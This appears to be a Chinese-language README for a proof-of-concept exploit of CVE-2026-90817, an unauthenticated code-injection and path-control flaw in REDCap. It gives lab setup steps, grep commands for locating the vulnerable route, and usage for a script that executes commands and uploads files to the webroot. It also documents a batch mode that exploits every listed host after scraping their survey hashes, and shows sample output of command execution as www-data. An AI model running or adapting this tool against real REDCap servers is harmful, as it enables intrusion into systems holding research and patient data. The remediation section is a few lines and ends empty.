| 字段 | 值 |
|---|
| CVE | CVE-2026-90817 |
| 产品 | Vanderbilt University REDCap |
| CVSS | 9.8 严重 |
| 认证 | 未认证(需要有效的公开调查哈希) |
| 受影响 | REDCap 13.3.0 及更高版本 |
| 修复 | 16.0.49 LTS、17.3.10 LTS、17.4.4 标准版 |
| CWE | CWE-73(文件名或路径的外部控制)、CWE-94(代码注入) |
攻击链:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC(单目标,allowlist 防护)
├── docker-compose.yml # MySQL + PHP-Apache 实验环境
├── redcap-init/
│ ├── database.php # 实验环境 REDCap 数据库配置
│ └── php.ini # 实验环境 PHP 设置
├── redcap-src/ # <-- 在此处解压 REDCap 源码(由您提供)
├── targets.txt # 授权目标:每行一个主机
├── payload.txt # 上传模式示例文件
├── requirements.txt # Python 依赖
└── poc_results.txt # PoC 运行后生成
REDCap 是授权软件。您必须通过官方渠道为您的实验环境获取。
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
等待 MySQL 健康检查通过,然后打开:
http://localhost:8080
使用以下数据库设置完成 REDCap 安装向导(已在 redcap-init/database.php 中预配置):
| 设置 | 值 |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=)。调查 URL 示例:
http://localhost:8080/surveys/?s=ABC123XYZ
调查哈希:ABC123XYZ
公开公告未披露确切的控制器路由或参数名称。搭建实验环境后,对 redcap-src/ 进行逆向工程,并填写 poc_cve_2026_90817.py 中的 TODO 常量:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
搜索调查透传路由:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
搜索数据导入文件路径/流处理:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
将 STAGE1_SUCCESS_MARKER 设置为成功的第一阶段响应中存在的字符串(可选但推荐)。
pip install -r requirements.txt
该脚本会拒绝既非实验主机(localhost、127.0.0.1、::1、*.local、*.test、*.localhost)也未列于 targets.txt 中的目标。
CVE-2026-90817 是未认证的——无需登录。唯一前提是有效的公开调查哈希(来自调查 URL ?s=HASH)。
该工具可以通过抓取目标的公开页面自动发现调查哈希(尽力而为)。它会检查常见的 REDCap 端点(/、/redcap/、/index.php、/surveys/)以查找 /surveys/?s=HASH 链接。这仅在目标公开暴露调查链接(配置错误)时有效。对于配置正确的 REDCap 实例,请通过 --hash 手动提供哈希。
--hash 可选(省略时自动发现)对于非实验目标,创建 targets.txt,每行一个主机(FQDN 或 IP)。您需对所列每个主机的法律授权负责。
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
带显式哈希的实验目标:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
带自动发现哈希的实验目标:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
添加 --batch 以自动利用 targets.txt 中列出的每个主机。该工具通过抓取公开页面按目标自动发现调查哈希。该工具会打印所有目标并在开始前请求确认(使用 --yes 跳过提示以便脚本化)。
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
端口继承自 --target(默认 8080)。要使用不同端口,请在 --batch 之前设置 --target http://placeholder:443/。
每个目标的结果会追加到输出文件。最后打印摘要:N success, M failed, T total。
| 参数 | 默认值 | 描述 |
|---|---|---|
--target | http://localhost:8080 | 目标基础 URL |
--hash | (可选) | 公开调查哈希。若省略,则通过抓取公开页面自动发现(尽力而为)。 |
--allowlist | targets.txt | 目标文件,每行一个主机 |
--batch | 关闭 | 遍历目标文件中的所有主机并逐一利用 |
--yes | 关闭 | 跳过批量确认提示 |
--mode | both | id、upload 或 both |
--out | poc_results.txt | 结果日志文件 |
--timeout | 30 | HTTP 超时(秒) |
--upload-local | payload.txt | 要上传的本地文件 |
--upload-remote | uploaded_payload.txt | webroot 下的远程文件名 |
--skip-placeholder-check | 关闭 | 在未填写 TODO 常量的情况下试运行 HTTP 流程 |
注意:自动发现仅适用于公开暴露调查链接的目标。对于大多数 REDCap 实例,请手动提供 --hash。
成功时,stdout 显示:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
结果会追加到 poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
升级到 REDCap 16.0.49 LTS、17.3.10 LTS 或 17.4.4 标准版(视适用情况而定)。
额外加固: